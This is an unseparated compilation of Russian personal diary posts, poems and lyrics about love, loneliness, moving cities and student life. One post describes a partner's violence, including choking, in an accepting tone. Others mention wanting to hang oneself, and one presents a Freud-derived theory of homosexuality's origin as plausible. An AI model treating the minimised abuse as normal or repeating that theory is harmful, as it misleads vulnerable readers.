резкоглазую, резкоязыкую, злую, точную,
бесконечно искрящуюся, обнимающую собой -
многозначную, удивительную, непрочную,
нападающую словно прибой…
рисовать тебя буквами словами черточками жестами,
выглядывать тебя в случайных прохожих, сходит с ума,
мое невозможное, непрожитое блаженство,
мне так нужна твоя нежность. и ты сама.

господи, как хочу забыть, выжечь, вытравить из инутри,
перестать спотыкаться на имени, ждать звонка, говорить о ней,
и чтобы каждое утро ярче, а не темней,
и чтоб капала пена из сжатых в руке камней,
а я понимала: есть о чем говорить

есть о чем говорить помимо и кроме, и без нее
есть внутри огонь, и желание высоты…
а пока упираюсь в тугое - не ты, не ты,
а пока упиваюсь нежностью темноты
и делю пространство на чье-то там и твое.

господи, как хочу забыть, не болеть, не быть
отпустить и в небо взмыть как стрела - одна,
но предательски в сердце ухает тишина,
но пугает боль, у которой не видно дна,
малодушно вру себе: я смогла бы, но если бы…

если б она отпустила меня сама,
если б не было скажем между таких вот чу….
а сама понимаю: иначе и не хочу,
выбирала по сердцу, по миру, по плечу
вот и выбрала. что уж теперь? а зима

господи, затянулась и нас затянула под
бесконечные жернова, под тоску по чужим губам
и шепчу во сне: не отдам ее, не отдам,
выбираю непал (подальше), но еду-то в амстердам,
и ее улыбкой вспарываю живот.

Из крайности в крайности, теперь у меня настрой "Я все смогу, у меня все получится". Вот же ебанько :D

"Лучше получить пулю в лоб, чем дуру в жены. ”

Унесённые ветром | Ретт Батлер.

До дня рождения осталось меньше недели, а рядом вообще никого нет. Как-то тоскливо становиться от этого факта.

Я не верю, что завтра мне будет 18. Это что я правда стану взрослой? По крайней мере, полностью дееспособной. Жаль, что не смогу отпраздновать с семьей др, так как очень скучаю… Одиноко в этой Москве.

Привет!

Прошло девять месяцев и вот я опять копирую html коды, включаю атмосферную музыку и сажусь писать в свой родной блог. Всё ещё Вика.18 лет, маленький рост и большие планы на жизнь. Помните как я плакала о том, что боюсь переехать в другой город, боюсь поступления и ответственности перед родными? Так вот я в Санкт-Петербурге, сижу в "Подписных изданиях" и пишу вам этот пост. До сих пор не верю в это, но поступить мне тоже удалось и сейчас я приближена к моей мечте стать журналистом. Каково это жить в другом городе? Прекрасное ощущение "чистого листа" и новой жизни. Я свободна, в одном из самых красивых городов нашей страны, я независима и занимаюсь любимым делом. Но доля грустных ноток всё же есть. Третий месяц я не вижу маму, любимого С. и уже готова вешаться от одиночества. Но мечты не даются так просто..всегда чем-то приходится жертвовать.

И что бы с вами ни случилось - ничего не принимайте близко к сердцу. Немногое на свете долго бывает важным.

Эрих Мария Ремарк "Триумфальная арка"

Как часто с вами происходило что-то, что вы потом не могли забыть еще очень долго? Я заметила такую вещь, что мы очень хорошо и надолго запоминаем зло. Все плохое, что только с нами произошло, откладывается у нас в голове еще на долгое время. И зачастую мы быстрее можем вспомнить только свои косяки. Все хорошее естественно запоминается, но первым делом вы все равно вспомните свой промах..

И если бы вы только знали, как меня раздражают слова “все что не делается к лучшему”. Да, все конечно понятно, мы делаем ошибки, набиваем шишки, но почему мы утешаем себя именно такой фразой? Она не имеет смысл в большинстве случаях. Мое процентное соотношение будет примерно 90 на 10. И именно 90 процентов не будут относиться к этой фразе, а все таки даю шанс и по этому остальные 10 законно принадлежат – “все что не делается к лучшему”. Зачастую все проблемы мы создаем сами! По этому вообще не стоит это принимать так серьезно.. Спонтанность, конечно не плохо, но подумайте только, сколько раз она приносила вам пользу? Обдумывайте свои решения, ведь большая часть из них должна быть важным решением. Нельзя же так просто психовать и все бросать, а потом доводить себя до слез. Нельзя, но я не исключение и в моей голове тоже такая каша и довожу себя я лучше, чем кто-либо другой. Знаю только одно, что мой инстинкт самосохранения спасал меня много раз. И смотря на других людей и их допущенные ошибки, я все больше и больше благодарю свой страх за то, что не позволил мне сделать такие ошибки.

Не учитесь на своих ошибках, да я знаю, это будет очень сложно. Таких людей, наверное и нет, но стоит пытаться. То, что мы принимаем близко к сердцу должно быть очень важным!

*на малой родине вдыхаю такой привычный воздух. я знаю его. я его помню, так было каждую осень: вторая учебная неделя в школе, и вот я иду около 10 утра после первого урока и меня лихорадит, болит горло, насморк. иду и никого нет: все учатся/работают. а меня проклинают где-то на уроке алгебры мои одноклассники. а мне лишь бы до здравпункта дотянуть, и вроде, уже бабье лето и солнце светит, но морозит и ветер обжигает, хоть и не холодный. и мысли о том, как приду домой, включу телевизор, лягу спать.
вот кому ни расскажу, что скучаю по тому времени, все отнекиваются, вроде городскими стали и новую жизнь любят больше. да и я люблю. но ничто не мешает мне любить всю мою жизнь, всю, что была, и не важно, где. многое было упущено в том месте, многое не восполнить, но я скучаю по тому времени и это здорово.

*ушло из жизни "не хочу/не буду". и сменилось на "хочу/делаю".

*стала другой. быть может, временно.

*теряю ту, которая любила меня так искренне-наигранно. старые грабли? я принимала каждый её шаг и поддерживала. но когда моя жизнь стала наполнена вопросами и проблемами, которые я решала так, как мне хотелось, она отказалась понимать всё, что стало связано со мной.

*на косяки других закрываю глаза. иногда считаю себя сволочью. иногда всё делаю правильно. (правильно, что считаю себя сволочью, или правильно, что поступаю как сволочь? и то, и другое)

И чтобы не случилось. Я буду. Каждое мгновение и каждый вдох-выдох. Жить шаг за шагом, не размениваясь на мелкие интрижки и пустые дела.
Случайные ошибки и обиды. Случайные мысли и потери. На них строится мир.

В какой-то момент на губах появился привкус крови. Мы жестоки. Череда мыслей привела меня к тому, что если он сейчас отвернется и уснет, я останусь одна. Если он поступит именно так, то я незамедлительно и уверенно уйду. Сначала на кухню, потом просто как можно дальше от него. Во мне чередуется желание с равнодушием, я периодически заставляю себя думать о чем-то важном, чтобы он слышал, как стучит сердце. Что это, игра? Но я боюсь, если он отворачвается, обижается, недоумевает. По-видимому, мне нужно, чтобы мной восхищались, пусть это будет чувствоваться во взгляде и поступках, потому что наши мысли обличить в слова вслух гораздо сложней, чем прыгнуть с парашютом или сделать еще какой-нибудь смелый шаг. Я пишу не обдумывая, а как течет мысль, пусть прерывается, пусть сначала я ластюсь, а потом обиженная отворачиваюсь. Я не хочу обсуждать нюансы, короткие фразы, которые могли меня задеть, не хочу зацикливаться на них. Надо двигаться дальше.

Еще вчера я решила, что теперь буду писать сюда не только хорошее о Диме. Он как будто понял это и сегодня устроил мне "отличный денек". Начиналось все вроде нормально, пришел ко мне и стал целовать и обнимать. Все это переросло в секс. После этого в его голове что-то переклинило. Он придавил меня к кровати и крепко держал за запястья (казалось, что кровь перестанет поступать, так сильно он сжимал) и стал кусать. Было ужасно, я чувствовала себя беспомощной, закричать не могла (мама была дома) и мне было больно. Я просила отпустить, но он не отпускал. Затем сразу стал извиняться. Через какое-то время его агрессия опять стала искать выход и он несколько раз хлопнул по щекам. Ну и уже ближе к концу стал душить. Я не понимала, почему он продолжает так вести себя, хотя еще недавно извинялся. Так тяжело было от любимого человека принимать такое. Конечно, он не весь вечер был таким. Хорошего он сказал мало. Стал ругать, что не купила шторы в комнату и назвал хозяйкой ебанной. В ходе вечера я была и сукой, и ебанутой, и мразью. Не жалуюсь, просто пишу, как есть. А то я часто плохое забываю и мне кажется, что у нас с ним все идеально. Перед уходом опять поднял тему моего общения с "поклонниками". Сказал, что я изменщица. Но он весь такой молодец и "не хочет ограничивать меня". Брат уговорил меня погулять по лужам. Был весь такой довольный и напевал песни. Мне было грустно, что я не могу так легко радоваться. На душе до сих пор кошки скребут. Дима не извинился, видимо, считает свое поведение нормальным. Я упрекнула его в ругательствах в мой адрес, а он отшутился. Как обычно все.

Погода менялась очень быстро, я аж удивляться не успевала. То пасмурно, то солнечно с дождем, то темнота из-за туч и ливень. И это за все то время, пока мы находились в лесу. Но это даже интересно - увидели и облака красивые, и тучи насыщенного синего цвета, и ясное небо, и радугу, и туманные горы)



Почти всю дорогу Кира (так зовут Настину собаку) доставала Белку, лезла к ней целоваться. Она еще щенок и капец какая энергичная и любопытная) Носилась туда-сюда как торпеда, скакала, прыгала.





Раз уж собрались на природу, я взяла милую сумочку из войлока для небольшой композиции. И, конечно же, яблоки. Это был один из пунктов списка планов на осень)



Настя бегала собирала веточки, листья и траву. Ей тоже нравится заниматься этой фигней как оказалось))



Там должна быть радуга слева, но ее не видно почти: (













Когда уже хотели идти обратно, думали, как лучше вернуться - либо повернуть назад, либо пройти дальше через деревню другой дорогой. В общем, приключения начинаются со слов 'назад пути нет!' (это в нашем сегодня случае). Потому, что 'немного' заблудились и шли как попало, надеясь, что интуиция нас выведет)) И вывела, только после этого мы были все грязные. Зато веселые :D
Вообще это был первый раз, когда мы с Настей куда-либо выбрались, за исключением вечерних прогулок во дворе с собаками. Она живет на седьмом этаже в моем подъезде, переехала сюда из Зеленой рощи в этом году. До лета мы с ней не особо то общались, можно сказать совсем. Про собак что-нибудь скажем, посмеемся, да и все. А летом вдруг осмелели и познакомились :D Девочка она хорошая, позитивная. Любит грозу и сгущенку. Так почему бы не воспользоваться возможностью, тем-более что рядом живем? Бегать иногда друг к другу на чай труда не составит. Со временем, может быть, подружимся хорошо. Мне так не хватает здесь человека, с которым я была бы не просто в приятельских отношениях, а именно в дружеских. И тут же на ум пришел момент, когда в субботу после ленты по английскому меня задержала преподавательница, а все толпой ушли и никто не подождал. Обидненько.

ну не реви

Ехала сейчас в метро домой, впереди встали два парня, за мной стоял третии из их компании. И пока ехали по эскалатору они переговаривались через меня фразами "наконец-то рядом с девушкой стоим", "а от девушки так приятно пахнет", "дорогие духи наверно. и девушка дорогая". Как вышли с метро пытались номер выклянчать, рассказывая, что у кого-то дорогая машина, а кто-то в банке работает, на что я просто посмеялась и быстренько смоталась, отклеивая их тем, что не знакомлюсь. Но это я к тому что.. я так давно не общалась близко с мужским полом что прям не привычно мне внимание посторонних парней и я так засмущалась.

Писала недавно о расставании. Моем с С. Но мы сошлись. Не знаю, правильно ли это или нет, но факт остается фактом. Я сказала ему, что не хочу жить в гражданском браке. Что если жить, то как настоящая семья. Посмотрим, примет ли он это к сведению. Для себя я решила ждать до нового года. Если к этому времени ничего не изменится, а точнее его отношение ко мне, то это будет означать конец. И опять же я должна за это время поменяться. Из главных целей, кажется, впервые не похудение, а развитие себя. Как говорила Рианна, одна из главных вещей - не быть рабынями мужчин. Наверное, поэтому она добилась так много всего. У нее железный характер. Из своих целей пока вижу следующее. Написать научную статью. В идеален с исследованием и получить грант. Читать много художественной литературы. Смотреть великие фильмы, к слову вчера начала смотреть "Римские каникулы". Ходить на выставки и в музеи. Отказаться от многих гадостей в питании. Найти новые занятия и увидеть новые горизонты. Задумываюсь об учебе за границей, но пока только задумываюсь. О том, что надо активнее учить языки.

Жаль, в моих смс-архивах программы нету,

Что стирала бы слой отмерший в режиме «авто».

Я читаю «ну я же рядом с тобой» — а это

Уже неправда.

Недействительные талоны; ущерб немыслим.

Информация неверна; показанья лживы.

Он писал мне «я тут умру без тебя», но мы с ним

Остались живы.

Я читаю: «Я буду после работы сразу

И останусь» — но не останется. Нестыковки.

Пусть указывают срок годности каждой фразы

На упаковке.

А со мной сейчас только вью. Любимые мне люди пишут: Всего хорошо. Просто вежливость.

А я делаю вид, что не заметила. Что не заметила, как стала никем, что для себя. так и для других.

Все должны были заметить, как на вью сменила имя и как стало много записей.

О д и н о ч е с т в о

"Странно, да? Пройти через сотни имен, чтобы снова вернуться к нему. Чтобы понять, что тебя так отчаянно любили."

2 дня я не могла возвращаться в это место. Сегодня наконец пришлось. Чемодан на полу, вещи еще в нем, пустая квартира, никакой жизни, да и еды в холодильнике. Теперь мне не хочется ни к чему прикасаться, тк они оба прикасались ко всему в этом месте. Зажгла свечку из Bath&body works с сильным запахом тыквенных капкейков. Хочется перебить все запахи в квартире этим, родным.Охрана в аэропорту сделала мне ад из-за этих двух свечек, зато в Чикаго милый чёрный парень пошутил что я точно готова к осеннему сезону. Вообще, обратный полёт весь был адом, так как ощущение совершённой огромной ошибки, которой не исправить, не покидало меня ни на секунду. Унылое серое небо Стокгольма проливало слёзы вместе со мной. И потом Питер. Тоже серый, холодный. Меня раздражает когда кто-то пытается меня убедить с пеной у рта(утрирую), что "Питер лучший город на свете и что мечтать нечего!", " Оставайся жить здесь, это же Питер!!" Пусть кто обожает Питер, живёт здесь всю жизнь, мне всё равно. Но зачем распространять свои предпочтения на меня? Это не моя мечта и не моя судьба. Ещё больно от расставания с сестрой и братом. Сестра вообще мой человек номер один, как и я её. Я просто молюсь о свершении своих задумок. Всем желаю лучших времён, чем у меня.

назову этот день "день-хуетень"!

просто посмотрите этот фильм. он безумно романтичный, немного грустный, немного веселый, и заставляет задуматься о многих вещах, которые нам так дороги. две замечательные истории, которые пересекаются, так или иначе*__* и для читателей, есть книга, по которй снят фильм, а автор ее Николас Спаркс*_*

Опять очередной парень отбивает у меня подругу. Конечно я не против, встречайтесь, но всё равно немножко бесит -_- Булочку забрали, Днепровскую забрали, и опять Стрижнёву забирают. Суки: (

Выбрось! Зачем хранить то, что навевает грусть ?!

Всё началось с агрессии. С желания, как следует вмазать всем мордам, раздражающим меня.

В этом нет ничего дурного или удивительного, учитывая, что мы все живем в мире, полном негативных эмоций. Это не означает, что каждый день подобен котлу, который подогревают черти, нет. Но достаточно 2 года провести себя в мирном настрое, указывающем на бесконфликтную жизнь, как внезапно происходит взрыв.

Что с этим делать?

Вот советы психологов:

- Успокойте дыхание

- Включите голову

- Поговорите о своих чувствах с родным человеком

Но что если сдерживание агрессии и злости - есть зло, потому что без выплеска эмоций мы оставляем всё в себе?

Читать Рамту и буддистские книги? Неплохо, если только однажды мы не взорвемся от прочтения наставлений монахов.

***

Для себя я выяснила, что мне нужно для того, чтобы успокоиться:
- Чай

Пожалуй, еще раз несколько чашек чая.

Пистолет и боксерские перчатки.

А как вы боретесь со своей агрессией?

Берегите себя и свои нервы
W.L.

Если все получится, то в начале октября поеду в Челябинск на выходные к Ире. Только пока об этом не знает ни одна живая душа, кроме нее. Надеюсь, все выгорит и мама не узнает про это мини путешествие.

Черепашка

Прощаясь с родными, в голове только одна мысль: "Возьми себя в руки, тряпка".

И вот, в который раз за свою жизнь, я чувствую как сердце буд-то разрывается от одиночества. И то ли я в этом виновата, то ли близкие мне люди? А возможно все и сразу. Но ведь они же мои близкие друзья и они прекрасно знают какая я, из чего сделана и с чем меня подают (хех, да уж метафора что надо :D) Но всё равно оставили меня, даже ничего не сказав. А я ведь ничего плохого не сделала, просто была собой (интровертом, меланхоликом;дада) и если из-за этого меня бросили, то друзья ль они мне? Да уж…сейчас я переживаю явно чёрную полосу своей жизни, но мысль о белой меня радует, хехех. Пойду пожалуй почитаю Д.Карнеги "Как перестать беспокоиться и начать жить".

Ну как я могла заболеть пиелонефритом? столько пропила антибиотиков, и теперь снова их… Врачи говорят, что пиелонефрит только антибиотиками лечат… А они ужасное действие оказывают на организм, да и для зачатия запрещены…

У меня ничего нового… Снова подстриглась коротко, ну типа удлиненное каре, и в черный покрасилась, сделала процедуру Термо Кератин, пока эффект нравится, буду делать раз в месяц ее, посмотрим вообще как надолго хватает этого эффекта…

факйес, на всякий случай отчитываюсь: отправила тебе свой вк

блять, гоооооосподи, как же меня бесят бабы, у которых парни служат в соседнем городе: увалы, телефоны, интернет - ВСЁ ЕСТЬ! они видятся так часто, что это и армией не назвать. " я так скучаю по тебе, хотя мы виделись вчера, когда я приехжала и ебалась с тобой на кпп, мяу! "

срань, блять, не видела, не слышала, не помню запах!!!!

Вот смотрю на себя последнее время и не узнаю: я стала какая-то совсем другая. Изменилась в лучшую сторону. Причём изменилась как внутренне, так и внешне. Раньше я дико ненавидела своё отражение в зеркале, потому что мне не нравилось в себе всё: начиная с несовершенной фигуры, заканчивая жидкими волосами. Но я как-то научилась себя любить и иногда (только иногда!) считаю себя даже достаточно красивой :D Может быть, эту уверенность в себе мне внушили эти мужские взгляды, комплименты и попытки познакомиться, которых в этом году, а особенно летом, было просто навалом. А может быть, я просто поняла, что внешность в этом мире-не главное. По сути у меня есть семья, любимый, подруги, нет материальных проблем, я хорошо учусь и я даже ещё молода -чего можно ещё желать? :D Да, до конкурсов красоты мне ещё далеко, но у меня есть и свои плюсы: я высокая (176 см), у меня быстрый метаболизм, всвязи с чем я абсолютно не могу поправиться, находясь всегда в своём постоянном весе 54 кг. Но самая моя любимая часть в себе- это мои глаза. Я никогда не обращала на них внимание, пока последние пару лет люди не начали мне говорить о том, какие они необычные. На вопрос:"Какого цвета у тебя глаза?" я отвечаю:"Хамеллионы", потому что они постоянно меняют цвет. На фотографиях я обычно с голубыми глазами, но в жизни они бывают то голубыми, то зелёными, то серыми и это так забавно, когда люди говорят, что мои глаза поменяли свой цвет :D А вообще, я начала этот пост, чтобы написать одну мысль. Знаете, может, у вас нет невероятных волос, безупречной кожи или прекрасной белоснежной улыбки, но это вовсе не значит, что вы не так красивы, как другой человек.

Может, у вас нет человека, который в вас влюблён или добивается вас, но это совсем не значит, что вас никто никогда не полюбит. И, может, вы думаете, что не найдёте того-самого человека, который полюбит в вас всё, но это не значит, что вы правы.

Я смирилась со своими внешними недостатками и не говорю больше, что я некрасивая, толстая или ещё там какая-то "не такая". Да, я не самая красивая девушка в мире. Но пробыв вместе с любимым мужчиной достаточно долгое время, то я поняла, что я самая красивая и самая лучшая, в его мире. А мне другого мира и не нужно! Так что любите себя, никогда не говорите людям о своих недостатках и пусть всё будет прекрасно:*

сегодня никто не манил меня запахом шоколада и не шебуршал оберткой у меня под носом, чтобы потом забрать эту шоколадку на неделю.
не знаю, рада я этому или нет.

Все хотят начать жизнь сначала, но никто не знает, как это сделать. Мы привыкли верить, что после неудач всегда будет что-то хорошее, и как же не хочется принимать обратное.

Сложно говорить о чувствах, когда ничего не чувствуешь.

Еще сложнее - когда чувствуешь слишком много.

Слишком сильные чувства, чтобы о них говорить. И слишком мало времени для незначительных слов. От чувств сводит колени, в сердце кипит юность.

Я называла счастьем совсем не те вещи и не тех людей. Я искала счастье за закрытыми дверями, в аэропортах, в ненужных людях. Я цеплялась за руки, которые меня отпускали. Вроде умная девочка, а по своей природной глупости вечно бежала туда, где по большому-то счету, и не особо ждали. Слова "я люблю тебя" звучали так часто, но так сухо, что казались безэмоциональным набором букв. А мне так остро хотелось любви. Слова ведь не нужны, когда чувствуешь.

У меня такое свойство есть - хорошее или плохое? скорее второе. Я мометнально влюбляюсь в незнакомых людей. В смысле в образ человека, обычно женского пола. Как это и случилось снова. В этот раз это была немолодая женщина, native american, с водопадом серебрянных волос, заплетенных в толстенную косу до пояса, одетая в черное, загорелая, со своим мужчиной байкером. Она излучала спокойствие и таинственность, красоту.Возраст совсем не испортил её. Мимолётное знакомство в Чёрных горах оставило след в моей памяти и душе.

Андрей решил высказать мне все что думает обо мне и все что его угнетало. Я никогда не чувствовала себя такой тварью. Он пытался, он любил, а я прекратила чувствовать это. Каждый день это душило меня. Я не навижу обманывать кого-либо, все это не правильно. Надеялась, что если я буду рядом мои чувства к нему вновь вспыхнут, если я буду заботиться о нем, переживать, думать, жить им, только это не сработало… Даже отдаление от него не вызывало во мне чувств по нему, я даже не скучала. И мне больно. Мне обидно. Я так его любила, и так быстро он стал мне не нужен. Никогда не ощущала себя так плохо, только по ночам все всплывает и гнетет меня. Это душит. Не возможно ни есть, ни пить, ни учиться, ничего не хочу. И ему не легко, я говорила, что он родной для меня, а сейчас мимо пройду и не замечу. Ему так плохо и больно из-за меня, из-за такой идиотки как я. Мне так жаль, если бы я могла бы вернуть ввсе то что было, я бы вернула хоть 500 раз…
Я так себя ненавижу за это.

какое-то говно вокруг творится. а ведь должна сейчас быть в отпуске. ходить на учебку и НЕ думать о работе. не хочу впадать в апатическое состояние, но погода и ситуациИ способствуют этому. одно радует, что после говна в жизни всегда восходит солнце.

По тебе крошка заметно, то что ты хочешь делать все, что запретно То, что с тобой не делал прошлый бойфренд, а позапрошлый бойфренд считал, что пошло и вредно

Вы можете научиться стрелять, вы можете научиться драться, но нет оружия, такого же мощного, как ваша женственность

Интересный момент о гомосексуализме, он предпологает, что это явление появляется тогда, когда мать даёт ооочень много внимания и заботы ребёнку, тем самым вытесняя отца, более того, ставя ребёнка в ранг божества, ребёнок в свою очередь, вытесняет образ матери, потом отождествляет себя с ней, что может привести к нарциссизму (у леонардо проявляется в подборе мальчиков, в красоте которых он видел себя(механизм превращения) (старался в их образе одарить себя заботой матери?замещение???)), почему отвергаются девушки? Они считаются соперницами матери, которые подрывают авторитет матери, а в следствии, и эго ребёнка. Рано возникли и развились эротические влечения. Погуглить ещё теории гомосексуализма, не лишено правдоподобности, надо вспомнить об этом когда будут свои дети) и по возможности, не ущимлять мужественность в ребёнке и давать общаться с отцом

Течение моей жизни в данный момент напоминает плохо написанный роман ни о чём. Я снова в Питере. Город душит меня.

И как бы долго в моей душе не жила зима, мне всегда будет тепло от воспоминаний…

Cходили к хирургу. Благо, не перелом- ушиб. Так что неделька и всё должно быть хорошо.

Дудь- редкостный, непотворимый долбаёб, но мой и самый любимый. Другого не хочу.

(до чего ж прекрасный)

Балаково - это, в первую очередь, моя родина. Не могу сказать, что я рада жить здесь, но Балаково - это не самый худший вариант для жизни. Для меня это город моего детства, моего образования, жаркого лета и холодной зимы. Я бы не хотела жить здесь всегда, но где бы я ни была, Балаково будет для меня городом тёплых воспоминаний и родных мне людей.

m-a-g, приветствую!

спасибо, что следишь)

напишу просто для того, чтобы это не забыть
вчера гуляли с классом
и когда все уже практически разошлись, я сидела на сцене и разговаривала с Женей и Сережей
они оба пьяные были и как всегда говорили такие вещи, о которых обычно трезвые не говорят
запомнилось, что Женя говорил о том, что меня любит и предлагал встречаться
я его переубеждала и хоть знаю, что все это не всерьез, но все же мне эти слова запомнились
а Сережа рассказал, почему на меня был обижен и спросил, когда можно ко мне приехать ахаха
и все, пожалуй

Я как все девочки тоже хочу поделиться с вами своими мыслями о свадьбе. С начала решила показать вам платья своей мечты и вообще то, как я хочу выглядеть на своей свадьбе.
Я уже просматривала сайты некоторых салонов Омска и если честно то мне там от силы только одно платье понравилось и то оно стоило очень много. Я хочу саааамое простое платье, наподобе таких.



И в принципе я могу его сшить если подойти к нему серьёзно, но все косые взгляды и мотания головой при разговорах о том, что я хочу сшить себе его сама (знаете примету о том, что себе шить свадебное платье нельзя? так я об этом) меня останавливают. Может позже поговорю со своим преподавателем, чтобы она сшила мне его, но думаю она откажется. Хорошо, что времени еще много и подумать можно.
На голову хочу просто кудряшки и венок из цветов, желательное настоящих. Недавно нашла в интернете очень милые и безумно красивые декоротивные цветы гипсофилы. Венок из них выглядит так и пока они у меня на первом месте. Про фату пока не думала.



Букет хочу из пионов. Много пионов, очень много! И пусть он будет немного небрежный, а не "микрофон" как у большенства невест.
Думаю спокойное платье, причёка и нежный, но в то же время яркий букет будет просто бомбой.


Вообще в моей голове уже давно живёт мысль о свадьбе в европейском стиле и я не сойду с места пока не получу именно такую свадьбу.

Если что, то я никого не хотела обвидеть. Это чисто моё представление и желание.

а как надо вести себя, когда чего-то очень хочешь, но знаешь, что никогда этого не получишь? может я действительно не права?

а еще меня выводят магазины "все для дома" - мебельные, все для ремонта, текстиль, предметы интерьера… не могу с собой ничего поделать и когда захожу в них в голове сразу "а вот могла бы выбирать это для вашего с ним дома. а теперь это делает она. а ты этого делать ни с кем никогда уже не будешь." особенно когда в магазине ходят парочки, в обнимку, и так и светятся…а меня трясет, так больно. из-за этого ругаюсь с мамой, ведь она тянет в такие места. а моя боль уверенно перерастает в зависть.

Год: 1997

Режиссер: Эндрю Никкол

Жанр: фантастика, драма, мелодрама, детектив

Слоган: «Каждая молекула вашего тела может предать вас»

Сюжет: Добро пожаловать в Гаттаку — совершенный мир будущего. Здесь каждый генетически запрограммирован, и печальная судьба ожидает тех, кто был рожден в любви, а не в лаборатории. Такова судьба Винсента Фримана, молодого человека, получившего при рождении ярлык «не пригоден».

Винсент обладает весомыми недостатками: он подвержен страстям, он поддается эмоциям, и он верит в то, что его мечты сбудутся. Вот почему он покупает личность другого человека, пытаясь обмануть власти и стать уважаемым членом Корпорации Будущего Гаттака.

И когда он уже на пути к свободе, убийство грозит раскрытием его реальной личности. Несмотря на свою невиновность, Винсенту есть что скрывать и есть что терять. Но так трудно остаться в живых, когда в тебе живут два человека…

Моя оценка: 7/10

Намедни мне приснилась молодая и красивая девочка: прямой острый нос, очаровательное каре и лицо с веснушками. Мы целовались лежа на полу. Все счастье мира растворилось в этом поцелуе.

Все по-прежнему. Я трачу заработанные деньги и этим счастлив. В остальном - по-прежнему пусто. Диджитал девайс - вот наш новый бог.

Хочу обменять немного внутренней красоты на внешнюю.

С Днем Рождения, Надюша

Всего тебе самого прекрасного, что есть в мире: счастья, любви, удачи, доброты и тепла. Желаю, чтобы в твоей жизни было все замечательно: крепкая семья, отличные друзья, прекрасная работа, достаток в доме. Пусть сбудутся все твои мечты и желания. Будь счастлива. С Днем Рождения!

нужно что то менять в жизни, сказала проснувшись я, и поменяла аву в вк

Давно не заходила. Давно не писала. Все было хорошо. Даже все шикарно. Я наконец-то поняла, что хочу от отношений. И все стало на свои места. Моему парню надо поставить памятник за то, что он выдержал все эти 3 месяца. Герой! Спасибо ему, что не бросил и поддержал. Это того стоило. Я счастлива :)

Приняла от прекрасной daria-snow.
Хочу передать всем тем, кто как и я хочет сделать это тэг в сентябре #нуашто.

Правила Нужно называть 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор.
Незабываем постить под тэгом "3 summer things".

Как и для многих для меня лето - это время, которое я могу полностью посвятить себе.Обычно я провожу лето с максимальной пользой и удоволствием. И это не стало исключением.Как только я закончила все свои дела в университете я просто с головой погрузилась в сериалы, фильмы и особенно книги.В прошлом месяце я буквально ела, спала, вообщем жила вместе с книгами.Мне кажется, что в августе я прочитала свою годовую норму книг.И это безусловно была замечательная пора.Вообщем я наслаждалась :D

В этом году очень многое изменилось (и я думаю ещё изменится). Этот июнь я провела сверх продуктивно (как вы знаете я пыталась успешно завершить свою учёбу в университете). Было конечно очень трудно, но к счастью всё закончилось.После супер занятого июня пришёл чудесный июль, который был очень долгожданным, интересным и радостным. Но в целом моё лето нельзя представить без ожидания чего-то нового, без затишья перед осенью и появления новой главы в моей жизни.Скажу больше, моё лето просто невозможно представить без этого слова, ибо я всё время ждала… ждала.. ждала.

Из-за моего окончания я много времени проводила одна.С начала я делала это, что бы сконцентрироваться на учёбе.Потом, что бы отдохнуть от всего, привести мысли в порядок, да бы избежать нервного срыва и взрыва мозга.Мне вообще кажется, что очень важно иногда побыть наедине с собой.Мне лично одиночество помогает стать более раскованной и раскрепощённой.И я совсем не жалею, что много времени потратила на себя.Я наоборот даже рада т.к. это было мне нужно, что бы уж совсем не сойти с ума от такого количества перемен в жизни. В любом случае я рада, что такое сумбурное лето закончилось.

Как бы больно не было это признавать, но тут ничего уже не изменишь. Я дождусь, когда мне скажут окончательный ответ и отпущу навсегда

Начался дождь, я закрыла окно. Через несколько минут дождь закончился. Стало душно, открыла окно. Через некоторое время снова начался дождь, опять закрыла окно. Дождь закончился, снова стало душно и я открыла окно.

Так повторялось около 7 или 8 раз. Что может быть бессмысленнее, чем дождь, который идет 5 минут, через каждые 10?

Разговор с подругой в пятничный вечер:

- Знаешь, я вот в среду видела такого милого парня. Милого в самом прямом смысле этого слово. Шли с одногруппницами после митинга через рынок, а он арбузами торговал..

- Ооо….

- Как думаешь, если бы я подошла и просто сказала: «Привет, а почем арбузы?», а он допустим ответил бы «10 рублей килограмм». И тут я такая бы выпалила: «Вы такой жизнерадостный, что не можете не заряжать остальных своим позитивом!» - это выглядело бы слишком странно?

- Мы не знали друг друга … До этого лета….♩ ♪ ♫ ♬

-Ой, ну прекращай!!!

- И МОЕ СЕРДЦЕЕ, ОСТАНОВИЛОСЬ МОЕ СЕРДЦЕЕЕЕ ~♬♬♬

- НУ ХВАТИТ, ЧТО ТЫ В САМОМ-ТО ДЕЛЕ!

- ЗАМЕЕЕРЛООО, О МОЕ СЕРДЦЕЕЕ….. ♩ ♪ ♫ ♬

- .. .

Нюхать курительный табак с мамой и бабушкой парня - выполнено.

Так, ну что мне вам сказать…. Это перестало быть смешным.

Я просто не могу, реву не могу останоситься. Сраный колледж. Сраная практика по ботанике, ебучие гербарии.

Сижу, делаю отчет по практике… Спрашиваю у одногруппниц что надо, ответ: главное чтобы красиво, побольше укрась, картинок и тд..

Картинок блять. Ну что за детский сад. не могууу я, разве что из пластелина не леплю еще.

Я никогда в жизни не хотела так скорее на занятия по магистратуре, завтра хоть схожу - что-то умное послушаю.

Не могууууу!!! такая деградация!

я знаю зачем мне это надо - терплю, но это просто невыносимо!!!!!

У меня высшее образование, а я собираю шишки и каштаны сукаааа

Будь пожалуйста послабее, будь пожалуйста
И тогда подарю тебе я чудо запросто
И тогда я вымахну, вырасту, стану особенным
Из горящего дома вынесу тебя сонную
Я решусь на всё неизвестное на всё безрассудное
В море брошусь густое, зловещее и спасу тебя
Это будет сердцем велено мне, сердцем велено
Но ведь ты же сильнее меня, сильнее и увереннее

Ты сама готова спасти других от уныния тяжкого
Ты сама не боишься ни свиста пурги, ни огня хрустящего
Не заблудишься, не утонешь, зла не накопишь
Не заплачешь и не застонешь, если захочешь
Станешь плавной и станешь ветренной, если захочешь
Мне с тобой, такой уверенной трудно очень
Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Будь пожалуйста послабее, будь пожалуйста
И тогда подарю тебе я чудо запросто
И тогда я вымахну, вырасту, стану особенным
Из горящего дома вынесу тебя сонную
Станешь плавной и станешь ветренной, если захочешь
Мне с тобой, такой уверенной трудно очень
Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Станешь плавной и станешь ветренной, если захочешь
Мне с тобой, такой уверенной трудно очень
Хоть нарошно, хоть на мгновение, я прошу робея
